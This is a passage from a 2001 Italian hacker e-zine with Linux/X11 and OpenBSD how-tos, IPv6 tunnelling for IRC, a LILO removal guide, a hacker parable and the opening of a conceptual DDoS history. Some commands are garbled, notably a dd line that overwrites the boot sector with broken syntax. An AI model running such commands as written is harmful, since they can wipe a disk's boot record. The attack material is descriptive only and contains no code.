inodes, and lots of other features. xfs a local filesystem with journaling, scalability and lots of other features. msdos a local filesystem for MS-DOS partitions. hpfs a local filesystem for HPFS partitions. iso9660 a local filesystem used for CD-ROM drives. nfs a filesystem for mounting partitions from remote systems. swap a disk partition to be used for swapping. ---------------------------------------------------------------------------------- _____ |___ | / / / /_ /_/(_) XFree : Configurazione ------------------------------------------------ --- Semplice configurazione non approfondita --- ------------------ di X ------------------------ Il file di configurazione di XFree si trova in --> /etc/X11/XF86Config-4 oppure --> /etc/X11/XF86Config Il primo e il file da editare il secondo invece è il file di configurazione di base ma non metteteci mani non serve Ecco un esempio di XF86Config-4 --> TROVERETE I MIEI COMMENTI IN STAMPATELLO PRECEDUTI DA "//" <-- :^) ------------------------------------------------------------- # File generated by XFdrake. # ********************************************************************** # Refer to the XF86Config(4/5) man page for details about the format of # this file. # ********************************************************************** Section "Files" RgbPath "/usr/X11R6/lib/X11/rgb" # Multiple FontPath entries are allowed (they are concatenated together) # By default, Mandrake 6.0 and later now use a font server independent of # the X server to render fonts. FontPath "unix/:-1" // PATH PER I FONT EndSection # ********************************************************************** # Server flags section. # ********************************************************************** Section "ServerFlags" # Uncomment this to cause a core dump at the spot where a signal is # received. This may leave the console in an unusable state, but may # provide a better stack trace in the core dump to aid in debugging #NoTrapSignals # Uncomment this to disable the server abort sequence # This allows clients to receive this key event. #DontZap # Uncomment this to disable the / mode switching # sequences. This allows clients to receive these key events. #DontZoom # This allows the server to start up even if the # mouse device can't be opened/initialised. AllowMouseOpenFail EndSection # ********************************************************************** # Input devices # ********************************************************************** # ********************************************************************** # Keyboard section # ********************************************************************** Section "InputDevice" Identifier "Keyboard1" Driver "Keyboard" Option "AutoRepeat" "250 30" Option "XkbRules" "xfree86" Option "XkbModel" "pc105" Option "XkbLayout" "it" // LAYOUT TASTIERA EndSection # ********************************************************************** # Pointer section # ********************************************************************** Section "InputDevice" Identifier "Mouse1" Driver "mouse" Option "Protocol" "MouseManPlusPS/2" Option "Device" "/dev/psaux" Option "ZAxisMapping" "4 5" # Option "Emulate3Buttons" //SE VOLETE METTETELO PER ESEMPIO SE // AVETE DUE TASTI POTRETE EMULARE // IL TERZO PREMENDOLI ASSIEME # Option "Emulate3Timeout" "50" # ChordMiddle is an option for some 3-button Logitech mice # Option "ChordMiddle" EndSection Section "Module" # This loads the DBE extension module. Load "dbe" Load "glx" // CARICA I MODULI PER LA GESTIONE DELLE OPEN GL TRAMITE // SCHEDA GRAFICA (IN PAROLE POVERE) Load "dri" // CARICA I MOUDOLI PER INTERFACCIARE GLX CON SCHEDA // GRAFICA # This loads the miscellaneous extensions module, and disables # initialisation of the XFree86-DGA extension within that module. SubSection "extmod" #Option "omit xfree86-dga" EndSubSection # This loads the Type1 and FreeType font modules Load "type1" Load "freetype" EndSection # ********************************************************************** # Monitor section #********************************************************************** # Any number of monitor sections may be present Section "Monitor" Identifier "Generic|Multi-frequenza che raggiunge 1280x1024 a 74 Hz" VendorName "Unknown" ModelName "Unknown" # HorizSync is in kHz unless units are specified. # HorizSync may be a comma separated list of discrete values, or a # comma separated list of ranges of values. # NOTE: THE VALUES HERE ARE EXAMPLES ONLY. REFER TO YOUR MONITOR'S # USER MANUAL FOR THE CORRECT NUMBERS. HorizSync 31.5-79.0 # VertRefresh is in Hz unless units are specified. # VertRefresh may be a comma separated list of discrete values, or a # comma separated list of ranges of values. # NOTE: THE VALUES HERE ARE EXAMPLES ONLY. REFER TO YOUR MONITOR'S # USER MANUAL FOR THE CORRECT NUMBERS. VertRefresh 50-100 EndSection # ********************************************************************** # Graphics device section # ********************************************************************** Section "Device" Identifier "Generic VGA" Driver "vga" EndSection Section "Device" Identifier "Matrox Millennium G400" VendorName "Unknown" BoardName "Unknown" Driver "mga" # Clock lines # Uncomment following option if you see a big white block # instead of the cursor! # Option "sw_cursor" Option "DPMS" EndSection # ********************************************************************** # Screen sections # ********************************************************************** Section "Screen" Identifier "screen1" Device "Matrox Millennium G400" Monitor "Generic|Multi-frequenza che raggiunge 1280x1024 a 74 Hz" DefaultColorDepth 16 // profondita' di colore all'avvio di X Subsection "Display" Depth 8 Modes "1024x768" "800x600" "640x480" ViewPort 0 0 // la prima risoluzione è quella di default EndSubsection Subsection "Display" Depth 15 Modes "1024x768" "800x600" "640x480" ViewPort 0 0 EndSubsection Subsection "Display" Depth 16 Modes "1024x768" "800x600" "640x480" ViewPort 0 0 EndSubsection Subsection "Display" Depth 24 Modes "1024x768" "800x600" "640x480" ViewPort 0 0 EndSubsection Subsection "Display" Depth 32 Modes "1024x768" "800x600" "640x480" ViewPort 0 0 EndSubsection EndSection Section "ServerLayout" Identifier "layout1" Screen "screen1" InputDevice "Mouse1" "CorePointer" InputDevice "Keyboard1" "CoreKeyboard" EndSection // PERMETTE A QUALSIASI UTENTE DI SFRUTTARE L'ACCELERAZIONE GRAFICA! Section "DRI" mode 0666 EndSection ------------------------------------------------------------- Per costruiere uno scheletro per questo file usare il tool --> /usr/X11R6/bin/xf86cfg (modalita' grafica di configurazione) --> /usr/X11R6/bin/xf86config (modalita' testo) Ancora problemi? 'man X'!!!!! ---------------------------------------------------------------------------------- ___ ( _ ) / _ \ | (_) | \___(_) Gestione dei PROCESSI Per ottenere la lista dei processi attivi scrivere ps Per ottenere la lista dei processi attivi sotto X scrivere ps x ESEMPIO PID TTY TIME CMD 757 pts/0 00:00:00 bash 783 pts/0 00:00:00 ps Il PID è il numero che identifica il processo nel kernel se per esempio un programma si blocca per "ucciderlo" scrivete da console kill n°pid Se non riuscite allora forzate il rilascio delle risorse da parte del processo con kill -9 n°pid Certi processi si vedono solo da ROOT ricordare; in quanto lanciati da l'omonimo NOTA : Vorreste masterizzare un cd senza pero' preoccuparvi che altri processi usurpino le vostre risorse e svuotino il buffer del masterizzatore bruciando il cd? Prendete i diritti di root e usate il comando NICE che serve ad assegnare la priorita' ai processi in UNIX -20 è la priorita' massima es.: nice --20 o :D bhuahahah il burn proof dei poveri PROCESSO : Un processo è un job+risorsa. JOB : "lavoro" o meglio istruzione da eseguire che viene messo in coda di attesa per essere associato ad una risorsa e completare il suo svolgimento, in esecuzione prende il nome di PROCESSO JOB SCHEDULER : Si occupa dell'esecuzione dei JOB ---------------------------------------------------------------------------------- ___ / _ \ | (_) | \__, | /_(_) Motori di Ricerca e manuali on-line WWW.RPMFIND.NET Qualsiasi RPM WWW.FRESHMEAT.NET Tutto su linux (motore) WWW.GOOGLE.COM/LINUX Sezione linux di google WWW.LINUXISO.ORG Le immagini iso delle distro piu' recenti ---------------------------------------------------------------------------------- +-------------------------------------------------------------------------+ |#########################################################################| +-------------------------------------------------------------------------+ * * * * ______ _______ _____ * __/\_| __ ) \ / / ____|__ / __/\__ \ / _ \\ V /| _| / / \ / * /_ _\ |_) || | | |_*_ / /_ /_ _\ * \/ |____/ |_| |_____/____|___\/ |_____| * * * * * * Buone Feste +-------------------------------------------------------------------------+ |#########################################################################| +-------------------------------------------------------------------------+ ------------------------------------*END*-------------------------------------- -------------------------------------[16]-------------------------------------- -----------------------------[ []Lord[V]icio[] ]------------------------------- -------------------------------[IPV6 in Win2k]--------------------------------- Questo tutorial si occuperà di sola pratica visto ke ho già spiegato cosa è ipv6 in un mio altro tut INIZIAMO Cosa ci serve????? 1 il service pack 1 www.microsoft.com 2 Tunnel Broker ( ftp://ftp.research.microsoft.com/users/msripv6/broker-1.1.exe ) .... dovrebbe bastare .... Installate tutto e riavviate.............. --------------------------------------------------------------------------------- # Start -> Impostazioni -> Pannello di controllo e selezionate Installazione nuovo hardware # Aggiungi/risolvi problemi e quindi clickate su Avanti # Selezionate "Scheda di rete" , e clicka su Avanti # selezionate Microsoft e nella colonna Scheda di rete,selezionate Scheda Microsoft Loopback,clickate su Avanti Adesso dobbiamo addizzionare il protocollo alla rete ........... # Start -> Impostazioni -> Rete e connessioni remote quindi premi il tasto destro su Connessione alla rete locale e seleziona Proprietà # clicka Installa" , seleziona "Protocollo" > "Aggiungi" >"Disco driver"> "Sfoglia..."> vai nella cartella del protocollo C:\IPv6Kit e seleziona "oemsetup.inf" > "Apri" > "OK". ------------------------------------------------------------------------------------ Ora dobbiamoprocuparci un tunnel , vi consiglio di usare il servizio offerto da www6.edisontel.com... una volta iscritti e configurato il tunnel , aprite il notepad e scrivete: ipv6 rtu ::/0 2/::62.94.46.106 pub ipv6 adu 2/vostro|ipv6 Salvatetelo nella cartelle c:\winnt\system32 come file .bat (eseguibile) poi apritevi il prompt ms-dos e fatelo partire Siete in ipv6 !!!!! ora dobbiamo arci una bella chattata in irc :)) Scaricate il prog Relay6 (www.noflyzone-crew.cjb.net) e scompattatelo ( c:\winnt\system32 ) Una volta fatto,riaprite il notepad :) e scrivete : relay6 6667 2001:6b8:1:0:280:5fff:fe91:ad9c 6667 /c:1 /b:127.0.0.1 Salvate il file .bat dove volete anke nel desktop ............ 2001:6b8:1:0:280:5fff:fe91:ad9c questo ipv6 vi permetterà di collegarvi ad AZZURRA :))) Appena avviato il programmino fatto in casa vi si aprirà un una finestra prompt con il prog pronto ad eseguire una connessione , allora apritevi il mirc o ke volete e collegatevi al server 127.0.0.1 "comando : /server 127.0.0.1" Wow siamo in ipv6 :)))) adesso fate : /join #NoFlyZone e venitemi a ringraziare :)) ---------- Adesso sono le 3.56 .......... ke sonno :((( vado a nanna passiamo al solito SALUTI:alla crew,al chan #noflyzone,ai chan #hack #hackmaniaci #legalizziamola ....in particolare a LoNeWoLfDeN,Crashes,Cristian84,zukkerina83. FUCK:tutti i lamah,alla mia ex,a lordsabotatore al re dei lamah alexmessomalex e a tutta quelli ke fanno le stanze hack in c6 ihhihi www.vicio84.3000.it www.noflyzone-crew.cjb.net dove trovarmi: c6: vicio84 o lordvicio irc: irc.azzurra.it 6667 #NoFlyZone nick []LoRd[V]icio[] _______________________________________ [ ] [ Copyright (C) 2001 ] [ ] [ []LoRd[V]icio[]-lordvicio@hotmail.com ] [ _______________________________________ ] ------------------------------------*END*-------------------------------------- -------------------------------------[17]-------------------------------------- ----------------------------------[Crashes]------------------------------------ ------------------------------[Guida a L.I.L.O]-------------------------------- Salve :) ragazzi, come state....uhm è un pò ke nn ci sentiamo avete raggione ma eccomi qui di nuovo, con una guida semplice sul famosi LILO di Linux, sono state molte le richieste da parte Vs su questo Loader, ke vi ha dato molti problemi e sinceramente la prima volta l'ha dati anke a me.. :))) eheheh.... -------------------------------------------------------------------------------- WWW.noflyzone-crew.cjb.net -------------------------------------------------------------------------------- OK, iniziamo, LILO nn è altro ke un Loader utilizzato da Linux per avviare l'OS, può essere utilizzato anke per ki a + OS sul proprio PC o su un unico HDD, kiaro è ke la documentazione sul LILO in rete se ne trova quantità industriale e anke sui vari CD di Linux ed è in alcuni casi anke ben fatta e molto esauriente, quindi nn meilatemi per cazzate :)) ok... Dopo aver installato Linux, alla prox accensione del PC si avvierà il LILO ke nn fa altro ke andare a caricare il kernel di Linux, ke risiede, in una parte del Vs HDD, kiaro, ke il kernel di Linux deve essere in una parte visibile da BIOS ma questo mi sembra anke logico.Troverete installato Linux nella parte /tc/lilo.conf questa è la parte essenziale del Loader perchè qui trovere informazioni su quello ke LILO fa al momento del lancio, potete anke trovarlo, nella MBR del HDD ovvero /dev/hda o anche nella root di Linux.(/dev/hda1-/dev/hda2) ---------------------------------------------------------------------------------- Quando avrete la skermata di LILO all'avvio del PC è possibile iteragire con lui piggiando il tasto TAB, potrete così avere una lista delle possibilità di avvio ke LILO può darvi, qui potrete scegliere quello ke a voi rimane + comodo, certo se alcuni di nn succede questo vuol dire ke nn è stato configurato per avere questo comando così possiamo ovviare premendo ALT+SHIFT prima ke appare la scritta LILO sul monitor. ---------------------------------------------------------------------------------- OK, veniamo alla parte + interessante di tutto il discorso, molti interventi nel canale #Noflyzone di "Azzurra" irc.azzurra.net, sono stati su come disinstallare il LILO, non so per quale motivo :)) ma questi sono affari Vs, il fatto è ke molti si sono come dire impiccati, e hanno riskiato in molti casi, di sputtanarsi il pc, dunque a mio parere, il sistema è molto semplice i passaggi nn sono molti basta solo prestare attenzione..................dunque LILO sovrascrive il primo settore di boot /dev/hda, una copia di questo settore viene salvata nella /boot/"nome anonimo. #### quindi nn dovrete fare altro ke rimettere il settore di boot al posto di dove era prima....... :)) come? cakio come come? uhm...se è in /dev/hda ---> [dd if =/boot/ nomeanonimo.#### of=/dev/had bs=446 count 1] ok....penso di si...:)) Voi smanettatori si Linux starete leggendo questo tutozz e spaccandovi di risate lo so, ma andiamo avanti, se questo benedetto LILO è invece installato nella partizione root, in questo caso le cose diventano molto + semplici, xkè basta avviare quella specie di Fdisk tipo quello di winzozz e rimuovere le partizioni di Linux, bhè sinceramente spero ke Linux rimanga sempre nel Vs pc xkè è un bel sistemimo, eheheh, vabbè nn facciamo /pub, ;), ricordatevi dopo tutto sta menata di riattivare la partizione DOS (bootable). -------------------------------------------------------------------------------------- Un'ultima cosa prima di kiudere è questa volevo dirvi come avviare Linux con un disketto, per qualsiasi problema, certo prima di tutto dovrete creare un disketto con LILO dentro e come, anke questo lo trovate nella guida esplicativa all'interno dei CD di LINUX: fdformat /dev/fd0H1440 -----------> :))) formattiamo il floppyno e scriviamo le traccie mkfs -t minix /dev/fd01440 -------> classico filesystem dii tipo minix ok, in alcuni sistemi c'è già un comando per fare tutto questo ma per voi smanettoni potete anche provare......... -------------------------------------------------------------------------------------- Prometto di Tornare sul LILO con alcune spegazioni molto + dettagliate e esaurienti..ma per il momento accontentatevi.. ;)) SALUTI: alla crew, al chan #NoFlyZone in particolare a /\ LordVicio /\/\LoNeWoLfDeN /\ /\ /\/\Cristian84 /\/\ BigaLex /\/\ _1/2Matto /\/\ [D]kl /\/\ R|ppy /\/\ CityHunter /\ /\ e tutto il resto della CREW ********** www.noflyzone-crew.cjb.net ********** ********** irc: irc.azzurra.it 6667 #NoFlyZone ********** _____________________________________ [ ] [ Copyright (C) 2001 ] [ ] [ Crashes - rocket@freemail.it ] [_____________________________________] ------------------------------------*END*-------------------------------------- -------------------------------------[18]-------------------------------------- ---------------------------------[CityHunter]---------------------------------- ------------------------------[Siddharta,l'hacker]----------------------------- Siddharta aveva tutto, aveva tutto ma era vuoto. Premeva i tasti della sua tastiera in maniera elegante e signorile, muoveva con grazia il mouse. Era ammirato e benvoluto da tutti...tranne che da sè stesso. Non poteva continuare così, aveva bisogno di altro, sapeva che la verità non stava nel modificare il config.sys e riuscire ad avere quei 65k di memoria estesa per far girare Doom. Lo sapeva inconsciamente, ma non sapeva come comportarsi...cosa fare per soddisfare il suo IO che lo chiamava,che gli parlava in un linguaggio sconosciuto. Un giorno come un altro arrivarono nel suo paese i Samana. I Samana erano dei saggi solitari che volevano raggiungere la saggezza assoluta, l'illuminazione attraverso la mortificazione di sè, attraverso la solitudine più totale. Il cyberspazio iniziava a svilupparsi proprio in quei tempi, e i Samana, per la loro incrollabile solitudine non ne accattavano lo spirito. Siddharta, unitosi a loro, condivise le loro idee, trascorreva il suo tempo, i giorni, i mesi davanti allo schermo, in completa trance di fronte ad esso. Aveva imparato l'arte della pazienza, della saggezza, del digiuno. Ma non era sufficiente. Non ancora. Sapeva che vi era ben altro nel mondo digitale, qualcosa di affascinante che lo stimolava. Se ne andò dai Samana. Confuso ma convinto che seguendo la strada intrapesa dai Samana non sarebbe giunto a nulla, decise di imparare dagli uomini-bambini. Andò al villaggio elettronico, si immerse nel samsara. Conobbe gente e sciamani elettronici, grafici e programmatori. Si appossionò di tutto quello che gli veniva proposto: imparava con straordinaria facilità e divenne subito rispettato da tutti gli abitanti. Maneggiava con grande cura il 3D studio, scriveva con straordinaria abilità e tecnica in C ed era felice. Non sentiva più dentro di sè quella vocina, quella che lo spingeva a cercare, cercare, cercare ancora. Passavano gli anni come le versioni del 3D Studio si susseguivano. Invecchiava ed era sempre più vuoto. Una notte, dopo aver avuto un terribile incubo, si risvegliò. Ricordò i tempi in cui studiava da suo padre, della solitudine dei Samana. La ricerca continua. Questa era ciò che aveva dimenticato. Questa era la via giusta della sua vita. Della Vita. Abbandonò gli uomini-bambino. Si sentiva rinato, ora riprendeva la sua giusta strada. Si sentiva libero. Erano diversi giorni che vagava in cerca della sua strada. Il suo portatile lo faceva volare leggero nel cyberspazio, gli faceva visitare posti mai visti, nuovi, colorati ed esotici. Era un giorno come un altro quando Siddharta dovette attraversare un fiume. L'unico modo possibile era farsi accompagnare nell'altra sponda con l'uso della barca dell'uomo che traghettava i passanti. Quest'uomo era già abbastanza anziano ma non lo dava a vedere. I lunghi capelli bianchi gli sfioravano le spalle. Aveva un sorriso luminoso, caldo ed avvolgente. Siddharta decise che sarebbe stato il suo maestro. Lavorò con lui e da lui apprese molto. Con lui si confidava e lui ascoltava. Di giorno traghettavano i passanti e la sera il vecchio insegnava a Siddharta i segreti del Kernel, del TCP/IP. Siddharta imparava con straordinaria velocità, ma soprattutto con equilibrio. Finalmente aveva trovato la sua strada. Premeva i tasti sul portatile come un pianista suona Beethoven. Studiava e provava. Studiava e riusciva. Studiava e falliva. Ma l'importante era capire, era Sapere. Il tempo passava e lui somigliava sempre più al vecchio barcaiolo. Il suo sorriso si espandeva, diventava più consapevole. Una sera d'estate i due erano seduti su un tronco parlando dell'IPV6. Mentre parlavano il modem si colleghò. I suoni della modulazione e della demodulazione parlarono a Siddharta con estrema chiarezza. Ed egli si illuminò. Si accorse che tutto era una cosa sola, non esistevano siti separati, che il ping era come un sito penetrato, che lui e l'admin dell'FBI erano una cosa sola. Lui era nello stesso tempo il bambino che creava il suo primo programma coi socket, che Daemon9 di Phrack. Tutti erano lui e lui era tutti. L'importante era ed è conoscere, studiare, capire. E lui, che l'aveva capito, era diventato un Buddha, un illuminato. Anzi, lui era l'Illuminato. Lui era un Hacker. CityHunter ------------------------------------*END*-------------------------------------- -------------------------------------[19]-------------------------------------- -----------------------------------[ goony ]----------------------------------- -------------------------[Ricompilazione Kernel OpenBSD]----------------------- ricompilazione kernel OpenBSD note: il documento è rivolto ad utenti alla prime armi, quindi tratta l'argomento dilungandosi per facilitare la comprensione; per qualsiasi chiarimento date un occhio alla faq 5 ufficiale: http://www.openbsd.org/faq/faq5.html; ringrazio vrkid che ai tempi mi sopportava; l'autore non si assume nessuna responsabilità nell'utilizzo errato del documento; per migliorie, consigli, minaccie :) ecc. goony@inwind.it; Perchè compilare il kernel? I motivi che posso spingere a compilare sono: possiedi poca RAM e vuoi preservarne il più possibile rimuovendo i drivers per dispositivi che non utilizzi; necessiti di rimuovere o abilitare opzioni che di default non sono state inserite nel kernel; in alcuni casi, nel momento in cui applichi patch; per pura sfida personale! :) Importante: nella maggior parte dei casi non è affatto indispensabile ricompilare il kernel. Il GENERIC installato di default contiene tutte le periferiche supportate da OpenBSD. In poche parole questa operazione di ricompilazione permetterà di avere un kernel che utlizzi soltanto l'hardware effettivamente usato. Per avere l'ultima versione del file GENERIC controllate http://www.openbsd.org /cgi-bin/cvsweb/src/sys/arch/i386/conf. 15 Passi per compilare... 1. Per prima cosa procuriamoci i sorgenti della nostra release. Preleviamo i files "src.tar.gz" e "srcsys.tar.gz" da uno dei server ftp (esempio l'italiano ftp://ftp.volftp.mondadori.com/mirror/openbsd) o se lo abbiamo direttamente dal cdrom; 2. Posizioniamo i due archivi prelevati nella directory "/usr/src" con i comandi: "cp src.tar.gz /usr/src" "cp srcsys.tar.gz /usr/src" entriamo nella directory "cd /usr/src" 3. Scompattiamo i files "src.tar.gz" e "srcsys.tar.gz" con i comandi: "tar xvfz src.tar.gz" e "tar xvfz srcsys.tar.gz" 4. "cd /usr/src/sys/arch/$ARCH/conf" ($ARCH equivale alla piattaforma che utilizzi, esempio i386) 5. In questa directory troviamo alcuni possibili files di configurazione per il nostro kernel. Da prendere in esame è il GENERIC, cioè il kernel compilato di default che contiene tutti i drivers per ogni hardware compatibile. Copiamo ora il file GENERIC in un nuovo file con un nome a scelta. Questa operazione non è obbligatoria ma permette di lasciare inalterato il file GENERIC (comunque recuperabile). "cp GENERIC GOONY" 6. Editiamo il file "GOONY": - sostituiamo il "GENERIC" della riga "include "../../../conf/GENERIC"" con il nome che abbiamo scelto per il nostro nuovo kernel. In questo caso sostituiamo "GENERIC" con "GOONY". Attenzione, non dobbiamo modificare il path, ma solo il nome! avremo così: include "../../../conf/GOONY" - commenta (inserendo il carattere '#' all'inizio della riga) ogni riga (ogni riga corrisponde ad un opzione) dell'hardware che non possiedi e/o che non vuoi il tuo kernel supporti. Puoi vedere il tuo hardware direttamente con il comando "dmesg". Attenzione nel commentare! Ogni dispositivo può avere delle dipendenze con dell'altro hardware. Non scoraggiarti se poi compilandolo avrai degli errori. Viene sempre indicata la riga da sistemare! Salva il file. Note: come riportato nelle faq non tutte le opzioni sono state testate con tutte le altre. Possiamo sempre reperire informazioni dalle diverse mailing list. 7. "cd /usr/src/sys/conf" 8. Copiamo il file GENERIC in un nuovo file che avrà lo stesso nome che hai inserito nella riga include "../../../conf/GOONY" nel punto 6. "cp GENERIC GOONY" 9. Edita il file GOONY e commenta sempre con il carattere "#" (come nel punto 6) le opzioni che non ti interessano. Salva il file; 10. "cd /usr/src/sys/arch/i386/conf" 11. "config GOONY" (dove GOONY è il nome scelto nel punto 5 per il nostro nuovo kernel) 12. "cd /usr/src/sys/arch/i386/compile/GOONY" "make clean" (cancella le dipendenze precedenti) "make depend"(crea le dipendenze tra i files) "make" 13. "cp /bsd /bsd.old" In questo modo salviamo il vecchio kernel, rinominandolo bsd.old (o con un nome a tua scelta). Facciamo così nel caso il nuovo kernel non funzionasse bene e/o si volesse riutilizzare quello precedente. Se vogliamo in seguito usare il vecchio kernel, digitermo al boot: "boot> bsd.old" 14. Copiamo il nostro nuovo kernel nella directory "/bsd": "cp /usr/src/sys/arch/i386/compile/GOONY/bsd /bsd" 15. Riavviamo la nostra macchina con il comando "reboot" Diamo un occhio a quello che viene caricato dal kernel con il comando dmesg e per mezzo di uname -va vediamo se effettivamente stiamo usando il nostro nuovo kernel! :-) Avremo ad esempio OpenBSD freedom 2.8 GOONY#0 i386 che ci riporta rispettivamente: - IL sistema operativo! - l'hostname (freedom) - versione (2.8) - nome del kernel caricato (GOONY) - il numero di quante volte è stato compilato il kernel (nel nostro caso "#0" essendo la prima volta!) - piattaforma (i386) goony -------------------------------------[20]-------------------------------------- -----------------------------------[Crashes]----------------------------------- --------------------------------[IPV6 in WinXP]-------------------------------- Ops, salve a tutti, questa volta parleremo di IPV6 spero ke voi tutti sappiate cosa sia, altrimen tifarete delle cose in automatico senza capirci nulla.....okz */\* NoflyZone Crew */\* OK, IPV6, bel nome ma ke è? come cos'è? Avete mai visto quei numeri molto preziosi, ke voi cercate di nascondere con molta cura quando fate le Vs operazioncine, tipo 68.115.345.23 (IP)? Bene l'ipv6 non è altro ke la trasformazione del Vs IPV4, in esadecimale...un bel modo per nasconderlo eh....eheheh...diciamo ke è una bella idea e basta, anke se credo ke gli scopi dell'ipv6 saranno ben altri ma nn mi soffermerò su questo....vi parlerò invece come installarlo sul WinXp, anke perchè l'ho trovato estramente semplice e quindi se alla buona :) ci sono riuscito io sicuramente ci riuscirete anke voi...eheh. OK, allora per installare lo stack su WinXp, nn bisogna far altro ke andare su Esegui e lanciare "IPV6 Install" dopo qualke secondo apparirà la scritta "Succeeded" il gioco è fatto :)) semplice no...k, e adesso ke faccio? posso già navigare o chattare con il mio IPV6? tericamente si, xkè i sapientoni della Microsoft hanno ben pensato di fare un tunneling con il loro server, ma credo ke ha molti di Voi sta cosa nn piaccia, cmq vi ritrovere con un indirizzo già traslato,ip 2002::/16. ok ma la domanda è molto semplice, e se io nn volessi collegarmi con il tunnel delle Microsoft? k, semplice ci sono molte società ke danno un tunnel broker gratuito, più avanti vi spiegherò. Ora fate un breve controllo del Vs ip a questo indirizzo: http://www6.edisontel.com/ cgi-bin/chkip.cgi, spero per voi ke sia in IPV6 :)))) altrimenti impazzirete..... ok, ora vi darò alcuni link, per evitare di collegarvi al server del "CAPO", da www.6bone.it, carmen.cselt.it e www.bersafe.it, anche ipv6.he.net è molto buono, fatevi la solita iscrizione al tunnel, attenzione ke alcuni di questi scadono dopo un pò di inattività, cioè dopo un pò ke nn vi collegati +, il Vs account sarà cancellato. Dunque passiamo alla parte pratica, a iscrizione effettuata basta considerare 2 dati fondamentali, e sarebbero il Vs IPV4 Ip Endpoint e l'IpV6 ke vi verrà dato dal tunnel broker, lo riconoscerete subito perchè sarà un indirizzo in esadecimale seguito da /127. Fatto questo andate in Dos escrivete quanto segue: ipv6 rtu ::/0 2/::62.94.46.106 pub //questo è un esempio preso come broker edisontel forse il + comune :)). ipv6 adu 2/3ffe:1234:abcd::1234 questo è ipv6 assegnatovi dal servizio di tunneling... Il gioco è fatto, a questo punto le impostazioni per il server di Microsoft, nn sono + attive e voi siete in IPV6 eheheh semplice no? penso proprio di si.... Passiamo ora, alla parte ke secondo me Vi interessa di +, quella per IRC, ;) bhè qui è altrettanto semplice, l'unica cosa ke serve è un bouncer tipo AsyBoV6, vi kiederete xkè,lo so, ma la storia è molto lunga e nn mi va di farvi perdere tempo, cmq questo Bouncer nn fa altro ke mettersi in ascolto in una porta IPV4 dove faremo connettere il Mirc, dopo di ke configuariamo AsyBov6, in modo tale da creare un ponte con il Ns tunnel broker e il gioco è fatto...guardate ragazzi è + semplice farlo ke spiegarvelo...provate a scaricare il bouncer a questo indirizzo ftp://ftp6.edisontel.com/windows/proxy_bouncer/AsyBoV6.zip leggete il readme all'interno fatto anke molto bene...a questo punto nn avrete + scocciatori in Mirc.. :)) Spero di essere stato abbastanza esaustivo anke se qui da capire nn c'è nulla :))) Ciao Ciao alla Prox..... SALUTI: alla crew, al chan #NoFlyZone #Warez-Planet in particolare a /\ LordVicio /\ /\LoNeWoLfDeN /\/\ /\/\Cristian84 /\/\ DArklines /\/\ BigaLex /\/\ Marsio /\/\ [D]kl /\ /\ Lord_Ark /\/\ ********** www.noflyzone-crew.cjb.net ********** ********** irc: irc.azzurra.it 6667 #NoFlyZone ********** ****** irc: irc.arkshrine.serveirc.com 6667 #NoflyZone #FuoriDiTesta ****** _______________________________________ [ ] [ Copyright (C) 2001 ] [ ] [ Crashes - rocket@freemail.it ] [_____________________________________] ------------------------------------*END*------------------------------------- ============================================================================== ------------------------------------------------------------------------------ ---------------------------[News & Scritti da Voi]---------------------------- ------------------------------------------------------------------------------ ============================================================================== -------------------------------------[21]------------------------------------- ------------------------------------[DDoS]------------------------------------ ----------------------------------[fastfire]---------------------------------- ------------------------------------------------------------ Tutorial sugli attacchi DDoS (Distributed Denial of Service) ------------------------------------------------------------ Nel mese di febbraio 2000 diversi siti internet molto importanti sono stati vittima di alcuni sabotaggi. Numerosi tra i più grandi siti sono stati messi in ginocchio da quello che sembra essere stato il più massiccio attacco mai lanciato contro importanti portali e siti web. Yahoo! è stato il primo a subirli, con un blackout di tre ore domenica 6 febbraio, Buy.Com non era raggiungibile la mattina di lunedì 7, CNN e Ebay non lo erano nel pomeriggio. Anche Amazon e Zdnet hanno avuto pesanti attacchi. Articoli tecnici hanno spiegato il fenomeno come un Distributed Denial of Services attack (DDoS): è un genere di attcco nel quale i cosiddetti pirati attivano un numero elevatissimo di false richieste da più macchine allo stesso server consumando le risorse di sistema e di rete del fornitore del servizio. In questo modo il provider affoga sotto le richieste e non è più in grado di erogare i propri servi, risultando irraggiungibile. Alcuni network provider coinvolti hanno dichiarato di essere stati sommersi da oltre 1Gb al secondo di traffico. Anche se questo genere di attacco non è affatto nuovo sulla Rete, non ne erano mai stati rilevati su così vasta scala e su così tanti obiettivi importanti quasi in contemporanea. Gli antenati degli atuali attacchi si manifestavano andando ad esaurire risorse hardware della vittima, quali lo spazio su disco, la memoria e la CPU: ciò era ottenibile spedendo pochi pacchetti malformati che mandavano in crash il sistema remoto. Il più noto tra le utility di questo genere è stato nuke e il più popolare WinNuke, che mandava in crash il famoso OS della casa di Redmond (WinNuke è ancora in grado di mandare in crash molte macchine desktop Win95 e server NT se non hanno applicato le opportune patch). Il primo (e il più abusato) prodotto di DoS che ha acquisito notorietà è stato lo smurf attack che tutt'oggi è in grado di paralizzare reti con tecnologie non aggiornate (generalmente piccole/medie aziende e ISP locali). In seguito è venuto The LowDown, conosciuto anche come Network Saturation Attack o Bandwith Consumption Attack: un nuovo attacco DoS in grado di inondare un network di un numero impressionanete di pacchetti. I router e i server che subiscono l'attacco, nel tentativo di gestire correttamente il traffico compiono un eccessivo lavoro che li mette in crisi. Ovviamente l'eccesso di traffico rende impossibile anche il traffico lecito (posta, web, ecc.) bloccando quindi in pochi minuti intere reti. La generazione successico (l'attuale) è appunto quella dei Distributed Denial of Service (DDoS) attack. Spingendo all'eccesso l'idea del network saturation attack, il DDoS ripete lo stesso approccio utilizzando però diversi punti d'ingresso contemporanei: in questo modo un cracker è in grado di mettere in ginocchio sistemi più grandi che sarebbero indifferenti ad un singolo flood. Per effettuare questo genere di operazione si deve poter installare un proprio agente sui sistemi da cui si vuole scatenare l'attacco stesso. E' quindi una tecnica che viene preparata per tempo, attrezzandosi con un pool di macchine compromesse da poter scagliare contro il sistema vittima. L'analisi di questi prodotti è disponibile su http://staff.washington.edu/dittrich/misc La principale domanda cui tutti cercano di rispondere è chi sia stato a effettuare questi attacchi e perchè. Inoltre sono stati organizzati diversi incontri per cercare di capire come sono condotti questi attacchi e come sia possibile difendersi. Tra le diverse ipotesi prese in considerazione vì è anche quella di un'azione portata avanti dai servizi segreti americani per sensibilizzare l'opinio pubblica sulla questione della sicurezza su Internet e far approvare più rapidamente il nuovo testo di legge attualmente allo studio del parlamento americano, che introdurrebbe severe restrizioni e controlli sulla Rete. In realtà questi attacchi sono resi possibili dall'attuale implementazione del protocollo TCP/IP. Per una scelta di realizzazione, infatti, non è stata posta particolare sicurezza 